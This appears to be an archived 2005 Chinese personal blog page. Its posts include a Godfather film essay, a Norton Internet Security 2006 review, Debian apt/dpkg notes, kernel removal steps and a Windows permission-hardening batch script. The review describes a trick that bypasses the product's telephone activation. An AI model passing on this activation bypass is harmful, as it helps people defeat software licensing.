迈克尔是家里的幼子,但他在家族中一直处于孤独的状态,他内敛的性格和对家族事务的淡薄让他和兄弟们一直不能完全的平等的沟通,这一点从桑尼对他的态度上就能看出来。在第二部结尾闪回的内容中有这样一个场景,在迈克尔说自己已经报名参军后兄弟们都非常震惊并对他多有指责,后来大家都去为爸爸过生日,只留下迈克尔独自一人坐在偌大的餐桌前思考着什么,这种形式上的孤独反映的是他内心的孤独。虽然因为价值观的不同他们不能沟通,但迈克尔确实是从心底爱着他的兄弟。可是接下来的事情又怎么能让一个正常的人承受得住呢?兄长桑尼被人当街乱枪扫死,其状惨不忍睹,影片中在迈克尔得知兄长遇害的消息时又一次用到了迈克尔的眼神。迈克尔是个非常坚强的人,他的眼神永远都充满了冷静和坚毅,而他的情绪也从来不会轻易流露,很难从他的外部表现上看出来,无论遇到怎样的状况,他都一如既往,在他几次受到重大打击的时候只能从眼神的小小转变上窥得他内心的变化。迈克尔得知噩耗这一场镜头采用的是正反打,迈克尔敏感的意识到有事情发生,坚定的看着带来消息人的眼睛,当他听到哥哥的死讯时,眼神稍稍的下移到对方的胸前,黯然无神,持续了好几秒。这时在他内心翻腾的万般情绪淋漓尽致的体现在眼神这小小的变化中。而自己深深信任的兄长佛雷多的出卖更是让迈克尔碎心,影片中突出表现了迈克尔发现这一事实时的细节:当他职业性的意识到哥哥就是内线时,镜头是迈克尔持续好几秒钟的近景,迈可垂下双眼,下意识地转过身,用手摁住太阳穴,虽然理智告诉他自己的判断不会错,但要他怎么接受这样的事实。而当他在舞会上找到哥哥,他忽然间抱着他的脸,狠狠的吻着哥哥,我知道是你了,我知道是你了,你伤透了我的心! 迈克尔一贯都是非常有节制的,这是他受重大打击时幅度最大的一次动作,说明了这件事对他的冲击有多大,无奈而失望的感情只能用这样的方式表达。在纷繁的斗争中,自己为了家人付出了一切,而同胞的兄弟却是背叛者,迈可心里的悲凉有谁能知,这在他心里留下的是怎样的伤痕!而于自己的妹妹,由于妹夫卡洛的长期出卖而导致家族失去桑尼陷入困境,迈克尔只能选择牺牲妹妹的丈夫来成全家族,但家族间的仇恨又一次的全部转嫁到了他的身上,而他同时承担的还有妹妹数十年的不理解,而他一如既往的在任何她需要的时候接纳她。迈克尔从年轻时的一种价值观不同造成的心理孤独迈向了更深层次的失去的孤独,而他做的,是代表全部兄弟姐妹维持这个家族。
 
权利与罪恶的牺牲品
 
如果说围绕家族内部的种种描写只是从个体层面上来展现迈克尔的孤独话,那么影片通过将作为权力牺牲品的迈克尔这一孤独的个体置于家族与社会的一系列关系中则深刻诠释了社会和制度的罪恶。我向来反对将《教父》视为一部黑帮片,黑总是与白对应的,但现实生活中只有灰色的状态,作为社会的存在,制度本身就是罪恶的,有多少顶着光明正大的名号的所谓事业暗中没有充满欺骗,残忍和犯罪?我们的社会在实质上就是按照这种模式进行的,只是《教父》蜕去了那一层伪装,采用外化的形式揭示了这个永恒的主题,其思想意义和内涵远远超越了暴力的范畴,将主题升华为人类社会中最常见的权力交替中的深层意义--权力与罪恶的关系。在最本质层面上,迈克尔的人性悲剧就是这种制度的牺牲品,他的那些为众人所指责的举动只是符合游戏规则的行为。
 
让我们来看看迈克尔的事业。迈克尔在家族事业的传承中在某种程度上和中国雍正皇帝的处境非常相似,作为康乾盛世的过渡,雍正推行的一系列改革虽然一直备受后人指责,但在当时的形势下,这是唯一能够救国于水火的方法。同样,迈可在形式上延续了第一代教父的辉煌,但实际上,他面对的是父亲留下的一个貌似强大但实则岌岌可危的家族,他自己也意识到:时代变了,我父亲那套行不通了。如果说在他父亲的时代尚能够通过局部的人际关系网来生存的话,迈克尔面对的是一个更为广阔更为复杂的社会,此时已经不再处于父辈原始积累发家的阶段,而是同时面临由非主流社会向合法社会的过渡问题。一方面,迈可要在从前父亲的圈子里完成接替后的位置重树,另一方面,也是迈克尔一直看到和努力的方向,就是艰难的迈入社会的主流阶层,在这一点上他一如既往的秉承着自己对父亲和妻子的诺言。在这一过程中,影片强烈的揭示了两种不同形式下权力背后所隐藏的同样的罪恶和内幕,不管是喋血街头明目张胆的黑势力还是套上正义公平温文尔雅外衣的主流社会,都是一样的腐败。迈克尔作为游离于两者之间的个体,要不断地做出抉择。首先,在父亲逝世后,他面对的是五大黑势家族对他的彻底清洗,就连在父亲的葬礼上迈克尔也没有权力悲痛,因为葬礼早已成为各派势力摸底的集会,失去父亲的痛苦只能深深的压抑在心中,因为他不能让悲痛冲昏了自己的头脑从而影响自己冷静地分析形势。其次,在无休止的黑帮斗争中,迈可还要考虑另一条发展之路,当他将不合法经营全部盘点出的时候,一场直升机伏击使他险些丧命,他痛心疾首的说:当我以为脱离那一切的时候,他们又将我拉了回去。而在那所谓合法的世界中,迈可面对的是手段更加卑劣的众人,迈克尔曾说:我的一生,我在社会上力争上游,高高在上的事总是合法,正直,但我怕得越高发现越卑鄙,何时才会有终了?国会参议员盖里接受他的教育基金捐款,在大众面前装出一副善长仁翁的社会贤达形象,但当两人在书房中谈生意时呈现出的却是另一种肮脏无耻的面貌。盖里一方面肆无忌惮地向迈可索贿,同时却又大言不惭地奚落迈可的人格尊严。面对这种侮辱,迈可一口回绝了盖里的合作条件。那些西装革履道貌岸然实则手段毒辣的高层人物一方面成为迈克尔在黑道的竞争对手利用合法的指控手段试图扳倒他的工具,一方面又在迈克尔参与国际不动产试图走上合法化道路时为了自己的利益万般阻挠,他们奉行着财务就是一把枪,政治是知道何时该扣扳的理念,控制着金融命脉,玩尽了一切政治手段,不惜一切代价要置迈克尔于死地。在影片这一部分中,还集中涉及到教会的问题,虽然三部《教父》中对教会都有涉及,如果说在第一部时迈可在圣水和鲜血的洗礼下成为了两重意义上的教父,其对教会的批判已初显端倪,那么在第三部中更是直接描写教会的黑暗与腐败,这对于希望通过教会来拯救灵魂的人而言实在是一个极大的讽刺,因为教会已经成为一个附属于社会高层的工具,在它天然的外衣掩饰了多少罪恶!
 
由此可见,《教父》这部影片的矛头暗指着所有的权力中心——黑手党只是一个隐喻,迈可的形象只是整个制度的见证者,也是整个制度的牺牲品,在这个世界行走,还能有第二条选择吗?迈克尔在将家族事务交给文森的时候曾说:我试过不让事情演变到这个程度, 但那是不可能的,在这个世界里不可能,你会无法回头的,你会和我一样,我这辈子一直想退出,我想让家族退出。
 
如果说在前两部中,影片是通过外化的表现手段来突现迈克尔的心理冲突,那在第三部中,对社会批判的同时,影片又将主视角回到了迈克尔孤独心理状态的呈现上,从开头霍塔湖萧条的表现,到聆听儿子演唱时回想起以前西西里的一段美好往事,再到向神父祷告的时候流露出的沉重负罪感,直到最后的回忆段落,出现了很多次迈克尔的心理独白,在迈克尔向教士告诫时留下的泪水中,我们是否看到了一个孤寂的灵魂在忏悔,此时的迈克尔已经牺牲了所有属于他的东西,包括他的心。我为何会那么害怕,为什么,我原本也很正直,我原本想做好事,是什么背叛了我,我的意思,我的心?我为何如此谴责自己,我发誓,凭着我子女的姓名发誓,给我一个救赎的机会,我就永远不再犯罪。晚年的迈克尔已经失去了一切可以支撑自己的东西,除了子女,他做的一切都是为了他的子女,为了让他们以后不再像他当年无奈的走上这条道路。他曾深情地对女儿说:为了你,我的女儿,我宁愿在地狱里忍受烈火的焚烧。对女儿的爱是很等的深沉,但是这深深的爱最后换来的却是亲眼看着女儿死在自己怀里。影片在这里处理得非常巧妙,迈克尔趴在女儿的身上号啕大哭。我们听不见他的声音,音乐将一切都掩盖住了,通过他绝望的神情我们看到他那颗被击碎的心,自己爱的支柱在顷刻间摊倒,终其一身的奋斗换来的却是这样的结果。特别值得一提的是,此时给了凯一个近景,镜头中呈现的是她悲伤中透出一丝迷惑的脸,她在迷惑什么?也许她一直以来都没有看清楚迈克尔对子女会有如此深层的爱,她刚刚发现了一个不同于她一直想象的迈克尔。但是,理解总是来得太晚,这一系列的打击使迈克尔撕心裂肺,他最后唯一的支柱已经坍塌,影片最后以闪回的形式将一幅幅照片呈现在迈克尔的眼前,梢纵即逝的画面透含的是时光飞逝,往事历历在目却已成烟云的无奈。接着画面上叠映出迈克尔那张苍老的脸部特写,终其一生伴随着他的孤独再一次也是最后一次伴随他离开了这个纷繁的世界。
 
人——教父
 
回顾了迈克尔的一生,我们不禁要问,这种悲剧和孤独背后的东西是什么呢?是什么造成了迈克尔的悲剧呢?我想是人与权力,制度和社会永恒的对立关系。人性是复杂的,是因为人总处在本我、自我、超我的不断平衡中。这种平衡涉及到的不只是个人,而有其更复杂的社会的原因。人作为个体,在融入社会的过程中会不断地失掉自己的本性,而迈克尔的情况更加特殊,因为他要完成的是从一个纯粹的人到教父角色的转变。这种转变是家庭期待社会期待等因素不断促成的。在这个过程中,自我的因素要压制到最小,因为一个人越成为既定规则的一部分,越是要降低自我的比重。在这一转换中他面对的是强大的制度,而且教父角色的特殊性使迈克尔必须要面临权力与罪恶这一贯穿于社会中的问题,在这两者的关系中充分体现了人性黑暗的一面,个体人这一最无助的角色要面对来自自身群体所构成的最黑暗的深渊,如果不能成为其中的一部分,那只能成为其现实的牺牲品。这个深渊有着宗教的光环,有着触目惊心的血腥,有着文明的外衣,但其中最深层次的却是人性恶的集成。人的群体性是人能从远古恶劣的自然环境中艰难生存到现在的重要原因,同时也成为展现人性的最好舞台。在群体的关系中,人类建立起一系列平衡制约的制度,但是规则的制定者和执行者出于同一本性,这就注定了这一制度的本质。但这种制度对人有强大的约束力,只要不按制度行事就会被淘汰出局,所以人永远都只能牺牲自己来成全制度,也正是这一点促使迈克尔不断的失去自己,被抛入更黑暗的境地。如果说在第一部《教父》中康妮的小孩在圣水的涤荡下完成洗礼,那迈克尔就同时在鲜血的洗礼下完成了由个人到教父的转变,如果他不这样做,那他的生命将成为另一罪恶的祭品,这就在本质上揭示了人类之间建立在权力之上的关系。《教父》通过这一个人物要表达的,其实是全人类的问题,个人是无助的,也是不能逃脱的,老教父说他终其一身奋斗的是拒绝成为大人物手中的玩偶,那唯一的方法就是自己成为所谓的大人物,迈克尔同样遵循了这样一条轨迹,对个人来说的悲剧成为了唯一能生存下去的手段。在这样的情况下,孤独自然就是永远伴随个体心灵的一种状态了,这也是人在如此环境下还存在良知的唯一来源,这种孤独来源于个体与群体永远不可调和的矛盾中,人不可能因为融入群体而不孤独,因为融入群体的是本我,但自我永远都是潜在心灵中,默默地看着一切,这也是为什么人都是以个体存在的原因。自我受到来自群体的各种因素的挤压,面临着随时以牺牲自己换取平衡的境地。它唯一的支撑来自于人类的血缘关系,这是唯一一种纯自然的关系,一种面临现实困境时理想的出口,总是寄希望于后代,或是为自己所有的行为找到心灵的支撑,这是人类的美德之一,完完全全的无目的的自我牺牲只存在于这样一种关系之中。但是,当人失去了这最后的希望时,一切也就完全回到了黑暗的深渊,孤独又成为了永远萦绕于心灵中的不可逃避的状态。
 
迈克尔从人到教父的转变过程是不是在某种程度上折射着我们每个人的一生呢?也许,人生的悲剧和人性的孤独,真的是人类的宿命。
 
 

NIS2006的详细评测

| | Comments (0) | TrackBacks (0)
首先说明,以下内容,重点在于与以往版本不同的地方,常见的功能,就不多说了
 
 
 一如既往,经典的安装界面
 
 
2005-12-24_19-10-53.jpg
 
这次不同的是,安不安装父母控制,在这一步进行选择,不会像以前有定制界面了。第一次我就选择错了,把父母控制安装上了。
 
2005-12-24_19-11-36.jpg
 
这是开始安装界面。不过奇怪的是,网上下载的那种15天试用版,使用的却是windows installer3.0的安装进度条,而光盘的retail版本,依然是2.0的安装进度条
 
2005-12-24_19-15-22.jpg
 
安装完成后,依然是需要重新启动。symantec和微软的合作关系,使得sysmantec的产品,很多都是与系统紧密结合的。
 
2005-12-24_19-18-59.jpg
 
重新启动后,依然和以前一样。启动一个安装配置向导。对于第一次使用的人,可以一步一步进行。非常简单
 
2005-12-24_19-21-05.jpg
 
从2005之后,symantec的面向桌面的产品,都需要激活了。而破解方法,也不多说了。依然是电话激活。
而2006似乎对中国地区的划分更加详细了,居然分成了3部分。
 
 
2005-12-24_19-22-22.jpg
 
这次2006版本,没有keygen。但让人莫名其妙的是,在电话激活时,输入的代码,前面全部为0,最后3位为255就可以正常激活。不知道是对激活的算法出了问题还是什么。而且,以往的授权都是一年。这次却变成了597天。让人费解
 
2005-12-24_19-23-05.jpg
 
2006与以往版本不同的是,在激活完成后,依然需要连接到服务器,创建帐号。难道以后的版本,将会和国内的金山、瑞星一样,采用通行证的方式?
 
2005-12-24_19-23-19.jpg
 
创建帐号吧:)不要给我发垃圾邮件啊
 
2005-12-24_19-25-05.jpg
 
创建成功:)提示无法保存密钥。难道以后真的会通过account进行认证?
 
2005-12-24_19-25-16.jpg
 
下一步当然和以前一样了。nis会替代你的windows防火墙,进行工作。同时进行升级
 
2005-12-24_19-25-24.jpg
 
安装完成后,第一次出现网络连接,就会出现位置向导。symantec在你出现了新的网络连接状况时,会提供全面的保护。
 
2005-12-24_19-25-58.jpg 2005-12-24_19-26-03.jpg 2005-12-24_19-26-10.jpg
 
 
第一次打开nis。默认的是新增加的安全中心的界面。告诉你现在系统的状态。这种红红的界面,实在难看。所以还是按照提示,修复一下,就会变成绿色的了。
 
2005-12-24_19-26-51.jpg
 
与此同时,新增加的保护中心,会在你的任务栏上增加这么样一个图标。醒目的显示当前保护状态。
 
2005-12-24_19-27-34.jpg
我还是更喜欢把它移动到托盘区。这样,可以节省我们宝贵的任务栏空间。下图中的的一个图标,就是图盘区的保护中心图标
2005-12-24_19-27-42.jpg
 
当你对磁盘全面扫描和病毒库升级后,保护中心的红色x将会变成绿色。而nis的图标上面,增加了一个小小的+号。表示正在自动学习。
 
2005-12-24_22-31-59.jpg
 
下面是安全中心的各个项目点开之后的内容。有风险的项目,会以红色标出
注意,nsw这次也发布了中文版。当nsw也一起安装之后,所有的项目都会变成绿色了。
 
2005-12-24_19-53-14.jpg 2005-12-24_19-53-29.jpg 2005-12-24_19-53-44.jpg 2005-12-24_19-53-53.jpg 2005-12-24_19-54-01.jpg
下面是安全中心的选项:
 
2005-12-24_19-50-03.jpg
 
这是nav的选项。与以往不同的是,增加了主页保护这一项。在你的主页发生变化时,将会提示你。默认状态是打开的。
 
2005-12-24_19-51-51.jpg
 
从2005开始的安全风险项目,也有了变化,增加了一些内容
 
2005-12-24_19-52-12.jpg
 
下面的是当系统全面扫面完成后的图片。界面变成绿色,非常舒服。至于其它的功能,因为和以前一样,就不多说了。需要注意的是,这次发布的NIS中,已经集成了antispam功能,所以,以后不会出现像2005一样的nis增强版了。具体界面可以看下面的第3张图片。
 
2005-12-25_11-03-21.jpg 2005-12-25_11-03-28.jpg 2005-12-25_11-03-46.jpg 2005-12-25_11-04-03.jpg
 
 
另外使用中发现的变化。就是全面扫描时,不能通过设置 “排除”来禁止扫描个别的磁盘,从而加快扫描速度。全面扫描似乎已经忽略了“排除”选项。
资源占有率方面,如下图。这些是nis的进程。需要注意的是,其中NMain.exe这个进程,是因为我打开了nis的主界面产生的。如果在正常工作情况下,是不存在的。所以,nis2006的内存占用,当所有功能都打开,应该在45M左右。比起SCF依然很大。其中的主要原因,依然是ccapp.exe这个进程。因为nis实际上是在驱动层开始防护,所有的网络访问都会通过ccapp这个代理进行。
 
nis的内存占用依然很大,但却完全不影响正常的使用。因为cpu占有率非常低。而卡巴之类的内存占用小,cpu占有高。但是选择以内存换cpu,还是选择以cpu换内存,还是看个人的喜爱了。
而nis中最让我欣赏的是,防垃圾邮件功能,与outlook和outlook express的紧密结合。同时过滤得非常准确,目前我还没有发现更好的产品。如果在scf中加入了防止垃圾邮件这项功能,那么,scf将会成为毋庸置疑的首选
 
2005-12-25_11-08-15.jpg
 
 

THE O.C.

| | Comments (0) | TrackBacks (0)
01121212.jpg
 
【原 名】:THE O.C.
【译 名】:橘子郡男孩
【类 型】:剧情/生活
【片 长】:每集45分钟左右
【首 播】:2004年11月7日
【国 家】:美国
【语 言】:英语
【字 幕】:外挂中英文字幕
【文 件】:每集350M左右
【内容简介 】:
The O.C is a fish out of water story.故事从一个名叫Ryan的青年开始。Ryan是一个居住的bankstreet的青年,父母离异;哥哥总是在街上混。一日,哥哥教他偷车的时候,被警察抓住。Ryan在监狱遇见了了他的public defender, andy Cohen. Sandy是一个家住oc的律师,他对于改正问题少年已经疲倦了。后来,为了这个案子,Sandy留给了Ryan名片。
Ryan还是被他妈妈接出了监狱。但是Ryan母亲整日酗酒、和她的boyfriend鬼混,对Ryan大吼大叫。Ryan终于离开家,但是他孤独无助,只能向律师Sandy打电话。Sandy做出决定,要把Ryan接到他们家。但是这却得到了Sandy的妻子的反对。出于无奈,妻子只好把游泳之旁边的客房为ryan准备。就这样,Ryan从一个贫穷的家庭来到了一个美国白人上层居住区。故事就是这样开始了。
 
 
不知道谁翻译了这么一个中文名字,不过,故事还是很好的

NIS2006简体中文版

| | Comments (0) | TrackBacks (0)
最期待的终于发布了:)
明天写详细评测
 
 
2005-12-24_19-10-53.jpg

linux下查看cpu信息

| | Comments (0) | TrackBacks (0)

#cat proc/cpuinfo

apt与dpkg详解

| | Comments (0) | TrackBacks (0)
 
普通 APT 用法
apt-get install <package>
下载 <package> 以及所有倚赖的包裹,同时进行包裹的安装或升级。如果某个包裹被设置了 hold (停止标志,就会被搁在一边(即不会被升级)。更多 hold 细节请看下面。
 
apt-get remove [--purge] <package>
移除 <package> 以及任何倚赖这个包裹的其它包裹。
--purge 指明这个包裹应该被完全清除 (purged) ,更多信息请看 dpkg -P。
 
apt-get update
升级来自 Debian 镜像的包裹列表,如果你想安装当天的任何软件,至少每天运行一次,而且每次修改了
/etc/apt/sources.list 后,必须执行。
 
apt-get upgrade [-u]
升级所以已经安装的包裹为最新可用版本。不会安装新的或移除老的包裹。如果一个包改变了倚赖关系而需要安装一个新的包裹,那么它将不会被升级,而是标志为 hold。apt-get update 不会升级被标志为 hold 的包裹 (这个也就是 hold 的意思)。请看下文如何手动设置包裹为 hold。我建议同时使用 '-u' 选项,因为这样你就能看到哪些包裹将会被升级。
 
apt-get dist-upgrade [-u]
和 apt-get upgrade 类似,除了 dist-upgrade 会安装和移除包裹来满足倚赖关系。因此具有一定的危险性。
 
apt-cache search <pattern>
搜索满足 <pattern> 的包裹和描述。
 
apt-cache show <package>
显示 <package> 的完整的描述。
 
apt-cache showpkg <package>
显示 <package> 许多细节,以及和其它包裹的关系。
 
dselect
console-apt
aptitude
gnome-apt
APT 的几个图形前端(其中一些在使用前得先安装)。这里 dselect 无疑是最强大的,也是最古老,最难驾驭。
普通 Dpkg 用法
dpkg -i <package.deb>
安装一个 Debian 包裹文件,如你手动下载的文件。
 
dpkg -c <package.deb>
列出 <package.deb> 的内容。
 
dpkg -I <package.deb>
从 <package.deb> 中提取包裹信息。
 
dpkg -r <package>
移除一个已安装的包裹。
 
dpkg -P <package>
完全清除一个已安装的包裹。和 remove 不同的是,remove 只是删掉数据和可执行文件,purge 另外还删除所有的配制文件。
 
dpkg -L <package>
列出 <package> 安装的所有文件清单。同时请看 dpkg -c 来检查一个 .deb 文件的内容。
 
dpkg -s <package>
显示已安装包裹的信息。同时请看 apt-cache 显示 Debian 存档中的包裹信息,以及 dpkg -I 来显示从一个 .deb 文件中提取的包裹信息。
 
dpkg-reconfigure <package>
重新配制一个已经安装的包裹,如果它使用的是 debconf (debconf 为包裹安装提供了一个统一的配制界面)。你能够重新配制 debconf 它本身,如你想改变它的前端或提问的优先权。例如,重新配制 debconf,使用一个 dialog 前端,简单运行:
 
dpkg-reconfigure --frontend=dialog debconf (如果你安装时选错了,这里可以改回来哟:)
 

echo "<package> hold" | dpkg --set-selections
设置 <package> 的状态为 hlod (命令行方式)
 
dpkg --get-selections "<package>"
取的 <package> 的当前状态 (命令行方式)
 
支持通配符,如:
Debian:~# dpkg --get-selections *wine*
libwine                                         hold
libwine-alsa                                    hold
libwine-arts                                    hold
libwine-dev                                     hold
libwine-nas                                     hold
libwine-print                                   hold
libwine-twain                                   hold
wine                                            hold
wine+                                           hold
wine-doc                                        hold
wine-utils                                      hold
 
例如:
大家现在用的都是 gaim-0.58 + QQ-plugin,为了防止 gaim 被升级,我们可以采用如下方法:
 
方法一:
Debian:~# echo "gaim hold" | dpkg --set-selections
然后用下面命令检查一下:
Debian:~# dpkg --get-selections "gaim"
gaim                                            hold
现在的状态标志是 hold,就不能被升级了。
 
如果想恢复怎么办呢?
Debian:~# echo "gaim install" | dpkg --set-selections
Debian:~# dpkg --get-selections "gaim"
gaim                                            install
这时状态标志又被重置为 install,可以继续升级了。
 
同志们会问,哪个这些状态标志都写在哪个文件中呢?
在 /var/lib/dpkg/status 里,你也可以通过修改这个文件实现 hold。
 
有时你会发现有的软件状态标志是 purge,不要奇怪。
如:事先已经安装了 amsn,然后把它卸了。
apt-get remove --purge amsn
那么状态标志就从 install 变成 purge。
 
方法二:
在/etc/apt 下手动建一个 preferences 文件
内容:
Package: gaim
Pin: version 0.58*
保存
更详细内容请看:
http://linuxsir.com/bbs/showthread.php?s=&threadid=22601
 
dpkg -S <file>
在包裹数据库中查找 <file>,并告诉你哪个包裹包含了这个文件。(注:查找的是事先已经安装的包裹)
 

从源码建立 deb packagesapt-get source [-b] <package> 下载一个源码的包并解开。你必须在你的 /etc/apt/sources.list 文件里写入一条 deb-src 的记录才能完成这项工作。如果你输入了一个 -b 参数,并且是以 root 的身份,deb 包会被自动的创建。apt-get build-dep <package> 自动下载并安装通过源码创建 <package> 时需要的包。只有apt 0.5以上版本才支持这个功能。现在woody和以上版本包含了这个功能。如果你使有一个旧版本的apt,查找依赖性最简单的方法是查看源码包中 debian/control 这个文件,注意这个路径是相对的,是包内的路径。普通的用法,结合 apt-get source -b,例子 (as root):apt-get build-dep <package>apt-get source -b <package>会下载源码包,建立依赖性,然后尝试编译源码。dpkg-source -x <package.dsc>如果你手工下载了一个程序的源码包,其中包含了几个类似 .orig.tar.gz ,.dsc ,以及 .diff.gz 之类的文件,那么你就可以对 .dsc 文件使用这个命令来 unpack 源码包。dpkg-buildpackage从 Debian 源码树建立一个 deb 包。你必须在 source tree 的主目录才能生效。例如:dpkg-buildpackage -rfakeroot -uc -b这里 '-rfakeroot' 指定命令使用 fakeroot 程序来模仿 root 权限 [来实现所有者(ownership)目的],'-uc' 表示 "Don't cryptographically sign the changelog",'-b' 代表只建立二进制包。debuild一个快速打包脚本类似 dpkg-buildpackage,能自动的识别是否使用 fakeroot,同时为你运行 lintian 和 gpg。修正倚赖关系dpkg --configure --pending如果 dpkg 在 apt-get install upgrade dist-uptradeing 的时候出错退出,尝试使用此命令来配置已经 unpack 的包。然后再用 apt-get install,upgrade,或者 dist-upgrade -f,然后再用 apt-get install,upgrade,或者 dist-upgrade。可能会重复多次,这样通常可以解决大多数的依赖性问题。(同时,如果提示由于某种原因需要某个特定的包裹,你可以常识安装或卸载这个包)apt-get install -fapt-get upgrade -fapt-get dist-upgrade -f 尝试修正上述过程中出现依赖性关系注意 apt-get install -f 不需要 <package> 作为参数。
 
 

ubuntu下内核的升级、卸载

| | Comments (0) | TrackBacks (0)
用apt-get dist-upgrade发现内核升级了。
直接安装
 
然后查看/boot/grub/menu.1st
发现以前的内核还在,应该是从安全考虑
 
可既然我正常启动了,就不需要了。留着占空间。卸载!
 
首先,执行
#uname -a
显示了当前的内核
然后用
#dpkg -l|grep linux
来查看当前系统安装了哪几个内核。
 
然后就可以卸载了
一定要确定卸载的包的准确名称
然后
#apt-remove ***(这里是包的准确名称)
不过这里似乎需要加上-purge更好些,是去除残余信息。
 
 
卸载完成后,重新启动,就可以了:0

CSS的菜单

| | Comments (0) | TrackBacks (0)
在网上看到的css的菜单。可以下载下来,研究一下。效果很好
 

Everybody want to be a dog

| | Comments (0) | TrackBacks (0)

seaspace_051223_1.jpg seaspace_051223_2.jpg seaspace_051223_3.jpg

中国网通网站被封,截图留念

| | Comments (0) | TrackBacks (0)
网通的网站没有备案,被封了。哈哈。
截图留念
 
2005-12-23_09-17-16.jpg

检测网站错误链接的小工具

| | Comments (0) | TrackBacks (0)
今天偶然发现的,非常好的工具,强烈推荐。可以校验网站上的错误连接,不能正常显示的图片等。
刚刚用这个东西检查了一下自己的网站,修改了几个出现的错误连接:)
 
 
2005-12-23_09-14-29.jpg
 
今天突然发现一直期待的圣斗士冥王篇14集之后的已经发布了,已经下载了。
在ftp上奥,
 
 
s1.jpg s2.jpg s3.jpg
直接转的网上的,个人认为,还是多了。只需要给temp权限就够了
 
保存为bat文件,执行! 
@echo off  
echo "虚拟主机C盘权限设定"  
echo "Author:an85.com"  
 
echo "删除C盘的everyone的权限"  
cd/  
cacls "%SystemDrive%" /r "everyone" /e  
cacls "%SystemRoot%" /r "everyone" /e  
cacls "%SystemRoot%/Registration" /r "everyone" /e  
cacls "%SystemDrive%/Documents and Settings" /r "everyone" /e  
 
echo "删除C盘的所有的users的访问权限"  
cd/  
cacls "%SystemDrive%" /r "users" /e  
cacls "%SystemDrive%/Program Files" /r "users" /e  
cacls "%SystemDrive%/Documents and Settings" /r "users" /e  
 
cacls "%SystemRoot%" /r "users" /e  
cacls "%SystemRoot%/addins" /r "users" /e  
cacls "%SystemRoot%/AppPatch" /r "users" /e  
cacls "%SystemRoot%/Connection Wizard" /r "users" /e  
cacls "%SystemRoot%/Debug" /r "users" /e  
cacls "%SystemRoot%/Driver Cache" /r "users" /e  
cacls "%SystemRoot%/Help" /r "users" /e  
cacls "%SystemRoot%/IIS Temporary Compressed Files" /r "users" /e  
cacls "%SystemRoot%/java" /r "users" /e  
cacls "%SystemRoot%/msagent" /r "users" /e  
cacls "%SystemRoot%/mui" /r "users" /e  
cacls "%SystemRoot%/repair" /r "users" /e  
cacls "%SystemRoot%/Resources" /r "users" /e  
cacls "%SystemRoot%/security" /r "users" /e  
cacls "%SystemRoot%/system" /r "users" /e  
cacls "%SystemRoot%/TAPI" /r "users" /e  
cacls "%SystemRoot%/Temp" /r "users" /e  
cacls "%SystemRoot%/twain_32" /r "users" /e  
cacls "%SystemRoot%/Web" /r "users" /e  
cacls "%SystemRoot%/WinSxS" /r "users" /e  
 
cacls "%SystemRoot%/system32/3com_dmi" /r "users" /e  
cacls "%SystemRoot%/system32/administration" /r "users" /e  
cacls "%SystemRoot%/system32/Cache" /r "users" /e  
cacls "%SystemRoot%/system32/CatRoot2" /r "users" /e  
cacls "%SystemRoot%/system32/Com" /r "users" /e  
cacls "%SystemRoot%/system32/config" /r "users" /e  
cacls "%SystemRoot%/system32/dhcp" /r "users" /e  
cacls "%SystemRoot%/system32/drivers" /r "users" /e  
cacls "%SystemRoot%/system32/export" /r "users" /e  
cacls "%SystemRoot%/system32/icsxml" /r "users" /e  
cacls "%SystemRoot%/system32/lls" /r "users" /e  
cacls "%SystemRoot%/system32/LogFiles" /r "users" /e  
cacls "%SystemRoot%/system32/MicrosoftPassport" /r "users" /e  
cacls "%SystemRoot%/system32/mui" /r "users" /e  
cacls "%SystemRoot%/system32/oobe" /r "users" /e  
cacls "%SystemRoot%/system32/ShellExt" /r "users" /e  
cacls "%SystemRoot%/system32/wbem" /r "users" /e  
 
echo "添加iis_wpg的访问权限"  
cacls "%SystemRoot%" /g iis_wpg:r /e  
cacls "%SystemDrive%/Program Files/Common Files" /g iis_wpg:r /e  
 
cacls "%SystemRoot%/Downloaded Program Files" /g iis_wpg:c /e  
cacls "%SystemRoot%/Help" /g iis_wpg:c /e  
cacls "%SystemRoot%/IIS Temporary Compressed Files" /g iis_wpg:c /e  
cacls "%SystemRoot%/Offline Web Pages" /g iis_wpg:c /e  
cacls "%SystemRoot%/System32" /g iis_wpg:c /e  
cacls "%SystemRoot%/Tasks" /g iis_wpg:c /e  
cacls "%SystemRoot%/Temp" /g iis_wpg:c /e  
cacls "%SystemRoot%/Web" /g iis_wpg:c /e  
 
echo "添加iis_wpg的访问权限[.net专用]"  
cacls "%SystemRoot%/Assembly" /g iis_wpg:c /e  
cacls "%SystemRoot%/Microsoft.NET" /g iis_wpg:c /e  
 
echo "添加iis_wpg的访问权限[装了MACFEE的软件专用]"  
cacls "%SystemDrive%/Program Files/Network Associates" /g iis_wpg:r /e  
 
echo "添加users的访问权限"  
cacls "%SystemRoot%/temp" /g users:c /e

超级牛x的blog...

| | Comments (0) | TrackBacks (0)
偶然发现的,只有64k。可以生成静态html。作者超级牛x...
不过使用。。。
TITLE: Welcome to NanoBlogger 3.3!
AUTHOR: n1xt3r
DATE:
DESC: nanoblogger welcome message
FORMAT: raw
-----
BODY:
<p>The basic syntax is: <code>nb [-b blog_dir] [options]</code></p>
<b>How to ...</b>
<ul>
<li>create new weblog (directory) = <code>nb -b [blog_dir] -a</code></li>
<li>create new entry = <code>nb -a</code></li>
<li>create new category = <code>nb -c <em>new</em> -a</code></li>
<li>create new entry with category = <code>nb -c [cat_id] -a</code></li>
<li>list current entries = <code>nb -l [current|all]</code></li>
<li>list categories = <code>nb -l <em>cat</em></code></li>
<li>list entries by category = <code>nb -c [cat_id] -l [current|all]</code></li>
<li>edit entry = <code>nb -e [entry_id]</code></li>
<li>move entry to category = <code>nb -c [cat_id] -m [entry_id]</code></li>
<li>delete entry = <code>nb -d [entry_id]</code></li>
<li>delete category = <code>nb -c [cat_id] -d <em>cat</em></code></li>
<li>delete entry from category = <code>nb -c [cat_id] -d [entry_id]</code></li>
<li>draft entry = <code>nb -E [draft_file]</code></li>
<li>import draft as entry = <code>nb -F [draft_file] -a</code></li>
<li>force update of weblog files = <code>nb -u [current|all|main]</code></li>
</ul>
<p>
Thank you for trying NanoBlogger.  Please direct comments and suggestions to the <a href="http://groups.yahoo.com/group/nanoblogger/">mailing list</a> or submit a bug report to the <a href="http://sourceforge.net/tracker/?atid=635240&amp;group_id=103576&amp;func=browse">project page</a> on sourceforge.net.
</p>
END-----
参考站点
 
点击下载

国产软件,tmmd就是垃圾

| | Comments (6) | TrackBacks (0)
